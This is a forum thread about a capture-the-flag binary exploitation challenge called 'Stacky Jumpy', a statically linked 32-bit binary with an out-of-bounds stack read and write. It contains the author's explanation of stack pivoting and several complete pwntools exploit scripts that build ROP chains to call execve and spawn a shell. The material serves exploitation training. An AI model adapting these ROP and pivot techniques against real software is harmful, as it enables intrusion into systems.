[Pwnable] Stacky Jumpy

linux
binary
pwning
exploitation

#1

That’s what you get for making a binary so user-dependent.


###Diffuclty

4/10


###Objective

Get a shell.


###Rules

  • ASLR on.

  • No libc this time, it’s statically linked, thus its size.

  • Full exploit + demo (i.e asciinema) are accepted as valid solutions. Just a screenshot of the shell doesn’t mean anything.

  • It’s pretty likely you might come up with a different exploit variation than mine, but the trick should be the same.


###Hint(s)

Stack Pivot


###Binary

Pwn me if you can


~ gl & hf

###Solution Explanation

The purpose of the challenge was to teach you the concept of stack pivoting. Unfortunately no one (so far) solved it the intended way, so they practically learnt nothing new. As for my PoC now (which was the intended way):

The binary has an out-of-bound read (both positive and negative indices) and a partial out-of-bound-write (negative indices). At offset -9 from the integer array (meaning - 9*4 bytes since we are on a 32-bit arch) is the return address of any function you call inside main(). What do I mean by that? Let’s say store() is being called.

                           Stack
                     +----------------+
 Stack grows         |       ...      |  <--- main's frame
 towards low         |   uint* array  |
 addresses           +----------------+
                     |       ...      |  <---- store's frame
                     +----------------+

Store() receives a stack pointer as an argument, the integer array to be precise. It’s really important to note the stack pointer part. Why? Well, since we have an OOB read and a partial OOB write, we can affect stack values below and above the integer array. And as we all know, what’s definitely stored on the stack? The return address!

The way to find the exact offset where the return address of store() is can be done either by trial and error (kinda skid-ish) or by looking at the assembly.

Main:

0804904b  lea     eax, [esp+0x20] /* uint array[] */
0804904f  mov     dword [esp], eax
08049052  call    store_value

So the array is at offset +0x20 (32 in decimal) from the stack pointer. Here’s the stack view right when store() is called:

                     +--------------+
                     |      ...     |
   esp + 0x20 --->   |  uint* array |  
                     |      ...     |
                     +--------------+  
     old  esp --->   |  uint* array |   <--- mov dword [esp], eax
                     +--------------+
                     |   ret addr   |   <--- call store_value
     new  esp --->   +--------------+


I think it’s crystal clear now as to what’s going on with the stack and why at offset -36 you can overwrite the return address.

As for the stack pivot trick now, I overwrote the return address with the gadget add esp, 0x2c (could have used a different gadget for pivot ofc) which means the stack pointer will point 0x2c (44 decimal) above (higher address) from where it was pointing to.

Keep in mind, once store() is about to return, esp is pointing to where old esp was pointing to on the above ascii-art. Which means, the array buffer and esp will have 0x20 bytes difference. In other words, at offset esp + 0x20 we can reach the 1st array value (0th index). But, since we are adding 0x2c to esp (0x20 + 12) we can reach the 4th array value (3rd index). That’s why I stored the gadgets from the 3rd index and up.

I hope it makes more sense now.


(exploit) #2
  • I’ll check it out a bit :smile:

#3

great challenge again. i managed to get shell but somehow my solution aren’t always reliable. sometimes it will SIGSEGV. perhaps someone could give me some pointers :sweat_smile: anyway here’s my poc

EDIT: the poc has been updated to a more reliable version. the culprit of the segmentation fault is because the shellcode does not fall on the executable address range. this can be solve by explicitly calling mprotect to cover the array stack address

from pwn import *
context(arch='i386', os='linux')

# open the process
r = process("./jumpy")

# bypass junk
r.recvuntil("Enter your name: ")
r.sendline("JUNK")

# get array address
r.recvuntil("> ")
r.sendline("1")
r.recvuntil("Index: ")
r.sendline("-8")
arr = int(r.recvline()[12:22], 16)

# generate rop chain
rop_chain = [
	0x0806f0b1, 		# pop ecx; pop ebx; ret;
	0, 					# skip
	0, 					# skip
	0x0806e0d0, 		# mprotect
	0x080483ab, 		# pop ebx; pop esi; pop edi; pop ebp; ret; 
	arr & 0xfffff000, 	# array address aligned to page size
	0x00001500, 		# len = 0x1500
	7, 					# prot = PROT_EXEC
	0, 					# skip
	0x080e2d13  		# jmp esp;
	]

# create shellcode & append to rop chain
sc = asm(shellcraft.i386.linux.sh())
sc_chunk = map(lambda x: unpack(''.join(x)), zip(*[iter(sc)]*4))
rop_chain = rop_chain + sc_chunk

# put rop chain on the stack
index = len(rop_chain) - 10
for n in rop_chain[::-1]:
	r.recvuntil("> ")
	r.sendline("2")
	r.recvuntil("Index: ")
	r.sendline(str(index))
	r.recvuntil("Value: ")
	r.sendline(str(n))
	print "Array[{}] = {}".format(index, n)
	index = index - 1

# shell time!
r.interactive()


#4

The exploit is a bit rusty/lucky, try making it more hybrid/reliable. This pwnable teaches a new concept.

Here are some pointers:

You don’t need a shellcode. It could be done way simpler. You found the trick, being index -9. Use that to call execve. Google “stack pivoting” :wink:


(exploit) #5
  • The way i did it is more complicated but guaranteed… :confused:
  • I also did it in another classic way, which is passing the register values to a pointer and incrementing… But i prefered this one, cause it’s more creative :slight_smile:

I’ll share it then:

#!/usr/bin/python
from pwn import *

c = process("./jumpy")

saved_rip_offset = -9
pop_eax = 0x080bb626
pop_pop_ret = 0x0804848e
pop_edx = 0x0806f08a
add_eax_edx = 0x080697d3
xchg_eax_edx = 0x080a9264
mov_ebx_edx = 0x0806d78b
int_0x80 = 0x0806f750
mov_ecx_eax = 0x080b54ff
mov_eax_edx = 0x08065f44
chain = [pop_pop_ret,
	 0,
	 0,
	 mov_eax_edx,
	 pop_edx,
	 0x426,
	 add_eax_edx,
	 pop_pop_ret,
	 0,
	 0,
	 xchg_eax_edx,
	 mov_ebx_edx,
	 pop_eax,
	 0,
	 mov_ecx_eax,
	 pop_eax,
	 11,
	 pop_edx,
	 0,
	 int_0x80]
to_start = saved_rip_offset + (len(chain) - 1)

c.sendline("/bin/dash") # Name is going to be passed to execve() as the first argument later

for gadget in chain[::-1]:
	c.sendline("2")
	c.recvuntil(":")
	c.sendline(str(to_start))
	c.recvuntil(":")
	c.sendline(str(gadget))
	to_start -= 1

c.recv()
log.success("Enjoy your shell :)!")

c.interactive()


(The memelord of 0x00sec) #6

I don’t want to be that guy that asks where you learned all this, but I’m gonna do it anyway because i am that guy who asks you where you learned all this… So where do I start with this? Obviously learn assembly, but after that?

Sorry to be a bother :wink:


(exploit) #7
  • Uhm, as we all know, this task, require a bit of ROP knowledge, so you basically can build a good rop-chain; i’ve already written a simple article, so you can start learning ROP stuff…
    ROP article
    Hope it helps a bit! :wink:

#8

From top to bottom (my opinion):

  • Computer Architecture
  • C
  • Memory Organization
  • Assembly
  • Reverse Engineering
  • Binary Exploitation

#9

I was expecting a much simpler solution from you :wink: I’m surprised you didn’t use the add esp, 0x2c gadget to pivot to the array buffer you controlled.

Here’s my(intended) PoC:

from pwn import *

def enter_name(name):

	p.recvuntil('name: ')

	p.sendline(name)
	return 

def store(idx, val):

	p.recvuntil('> ')

	p.sendline('2')

	p.recvuntil('Index: ')
	p.sendline(str(idx))

	p.recvuntil('Value: ')
	p.sendline(str(val))

	return

def read_value(idx):

	p.recvuntil('> ')

	p.sendline('1')
	p.sendline(str(idx))

	p.recvuntil('= ')
	value = p.recvline().replace('\n', "")

	return value

def pwn():

	enter_name('/bin/sh')
	# Leak array's address
	array = read_value(-8)
	# buffer where we enter the name, aka /bin/sh is at esp + 0x422
	# buffer where we enter the integers is at esp + 0x20
	# 0x422 - 0x20 = 1026
	name  = int(array, 16) + 1026

	log.success("Array: {}".format(str(array)))
	log.success("sh:    {}".format(str(hex(name))))

    # 0x080bb626: pop eax; ret;  	
	store(3, 134985254)
	store(4, 0xb)
    # 0x0806f0b0: pop edx; pop ecx; pop ebx; ret; 	
	store(5, 134672560)
	store(6, 0)
	store(7, 0)
	store(8, name)
    # 0x0806f750: int 0x80; ret; 					
	store(9, 134674256)								
	# -9th is the return address of store()'s 		
	# Stack pivot									
    # 0x08049a27: add esp, 0x2c; ret; 				
	store(-9, 134519335) 
	p.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        p = remote(sys.argv[1], int(sys.argv[2]))
        pwn()
    else:
        p = process('./jumpy')
        pause()
        pwn()

➜ pwn python jumpy.py
[] For remote: jumpy.py HOST PORT
[+] Starting local process ‘./jumpy’: pid 24313
[
] Paused (press any to continue)
[*] Switching to interactive mode
$ whoami
vagrant

Congrats either way! :muscle:


(exploit) #10

[spoiler]- Oh my god, i didn’t use the outofbound read :frowning:!

  • Sorry, that was a big mistake, it was the problem ; -;…
  • I builded the whole chain to find and calculate name address :’([/spoiler]

That was a fail… xddd


#11

I really tried this challenge but I didn’t manage to send the string to execve to spawn a shell :confused:
And I don’t really understand your POCs …


In @exploit’s POC i don’t understand how the /bin/dash is passed to execve and I don’t know what is the 0x426 …


In @_py’s POC The pivot in -9 have for purpose to ret to the the store(3…) ? why 3 ?

Sorry :confounded:
Thanks for the challenge @_py !


#12

Hi @neolex, so:

The purpose of the challenge was to teach you the concept of stack pivoting. Unfortunately no one solved it the intended way, so they practically learnt nothing new. As for my PoC now (which was the intended way):

The binary has an out-of-bound read (both positive and negative indices) and a partial out-of-bound-write (negative indices). At offset -9 from the integer array (meaning - 9*4 bytes since we are on a 32-bit arch) is the return address of any function you call inside main(). What do I mean by that? Let’s say store() is being called.

                           Stack
                     +----------------+
 Stack grows         |       ...      |  <--- main's frame
 towards low         |   uint* array  |
 addresses           +----------------+
                     |       ...      |  <---- store's frame
                     +----------------+

Store() receives a stack pointer as an argument, the integer array to be precise. It’s really important to note the stack pointer part. Why? Well, since we have an OOB read and a partial OOB write, we can affect stack values below and above the integer array. And as we all know, what’s definitely stored on the stack? The return address!

The way to find the exact offset where the return address of store() is can be done either by trial and error (kinda skid-ish) or by looking at the assembly.

Main:

0804904b  lea     eax, [esp+0x20] /* uint array[] */
0804904f  mov     dword [esp], eax
08049052  call    store_value

So the array is at offset +0x20 (32 in decimal) from the stack pointer. Here’s the stack view right when store() is called:

                     +--------------+
                     |      ...     |
   esp + 0x20 --->   |  uint* array |  
                     |      ...     |
                     +--------------+  
     old  esp --->   |  uint* array |   <--- mov dword [esp], eax
                     +--------------+
                     |   ret addr   |   <--- call store_value
     new  esp --->   +--------------+


I think it’s crystal clear now as to what’s going on with the stack and why at offset -36 you can overwrite the return address.

As for the stack pivot trick now, I overwrote the return address with the gadget add esp, 0x2c (could have used a different gadget for pivot ofc) which means the stack pointer will point 0x2c (44 decimal) above (higher address) from where it was pointing to.

Keep in mind, once store() is about to return, esp is pointing to where old esp was pointing to on the above ascii-art. Which means, the array buffer and esp will have 0x20 bytes difference. In other words, at offset esp + 0x20 we can reach the 1st array value (0th index). But, since we are adding 0x2c to esp (0x20 + 12) we can reach the 4th array value (3rd index). That’s why I stored the gadgets from the 3rd index and up.

I hope it makes more sense now.

As for the /bin/sh string, just read my explanation above a couple of times and the comments in my exploit.


(exploit) #13
  • @neolex Regarding my exploit, here’s an explanation of the whole chain! :smiley:
chain = [pop_pop_ret,
	 0,
	 0,
	 mov_eax_edx,
	 pop_edx,
	 0x426,
	 add_eax_edx,
	 pop_pop_ret,
	 0,
	 0,
	 xchg_eax_edx,
	 mov_ebx_edx,
	 pop_eax,
	 0,
	 mov_ecx_eax,
	 pop_eax,
	 11,
	 pop_edx,
	 0,
	 int_0x80]
  • So, in the first pop_pop_ret, it just prepares a good environ, so i can ROP peacefully…

  • $edx value is then passed to the $eax register…

  • I set $edx value to the offset of $name_address from $eax ( 0x426 )… So i can get /bin/dash which was passed as a name previously…

  • I used the add eax, edx; gadget to add the value of $edx to $eax and $eax will then contain the address of name!

  • pop_pop_ret, again…

  • Now, since there werent much gadgets available to copy to $ebx register, i found one weird gadget, mov ebx, edx;. You better see the gadget yourself, it’s made of some case jumps etc, but they didn’t infect my ROP chain, so i used it! But before, i had to get the value of $eax into $edx register, no mov gadgets allowed us to do so, so i used xchg eax, edx;!

  • Then i used the mov ebx, edx; so /bin/dash address will be passed in the $ebx register!

  • Now that i got $ebx = $name_address, i had to set $ecx, $edx set to 0, and $eax set to execve() syscall number!

  • So i wasted some time looking for gadgets to zero-out $ecx. I found mov ecx, eax;. I then called pop eax; and set it’s value to 0, then moved it to $ecx, resulting in $ecx = 0!

  • After doing that, I used pop eax; again and placed the execve() syscall number there ( 11 ) !

  • And then i finally set $edx register’s value to 0, and called int 0x80; gadget, resulting in a shell being popped…


#14

Thank you both for your explanation !
I learn a lot from you guys !
I’ll re-read it later to make sure i get it :slight_smile:

Thank’s again !


#15

Hi !
I finally made the challenge to try this myself.

I wanted to try the pivot

p = process("./jumpy")
p.recvuntil(":")
p.sendline("/bin/bash")

def read(index):
    p.recvuntil(">")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(index))
    p.recvuntil("= ")
    return int(p.recvline(),16)


def store(index,value):
    p.recvuntil(">")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(index))
    p.recvuntil(":")
    p.sendline(str(value))


# leak the bin/bash string
array = read(-8)
binbash = array + 1026  
print("/bin/bash: "+hex(binbash))


store(2,1094795585)#ebx = 0x41414141
store(3,134672522) #  pop edx ;; ret
store(4,0)
store(5,134672561) # pop ecx pop ebx ;ret
store(6,0)
store(7,binbash)
store(8,134564016) # xor eax,eax;ret
store(9,134832162) # add eax,0xb ; pop edi:ret
store(10,1094795585)#edi = 0x41414141
store(11,134518257) # int 0x80

store(-9,134563492)# add esp, 0x28 ; pop ebx ; ret
p.interactive()

https://asciinema.org/a/ngqYLvVeBVlAk9pDq16VAPusP

Thanks for the challenge :smiley:


#16